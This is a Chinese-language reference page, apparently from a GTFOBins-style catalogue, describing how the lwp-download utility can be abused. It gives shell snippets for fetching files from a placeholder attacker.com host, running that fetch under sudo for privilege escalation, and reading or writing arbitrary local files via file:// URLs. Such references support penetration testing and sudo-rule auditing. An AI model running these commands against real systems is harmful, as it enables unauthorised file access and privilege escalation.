.. / lwp-download

file-download

下载远程文件。

• URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  lwp-download $URL $LFILE
  

sudo

如果二进制文件被 sudo 允许以超级用户身份运行，可能被用于访问文件系统、提升或维持特权访问。

• URL=http://attacker.com/file_to_get
  LFILE=file_to_save
  sudo lwp-download $URL $LFILE
  

file-read

从文件中读取数据。

• The file path must be absolute.

  LFILE=要读取的文件路径
  TF=$(mktemp)
  lwp-download "file://$LFILE" $TF
  cat $TF
  

file-write

将数据写入文件中。

• LFILE=要写入的文件
  TF=$(mktemp)
  echo DATA >$TF
  lwp-download file://$TF $LFILE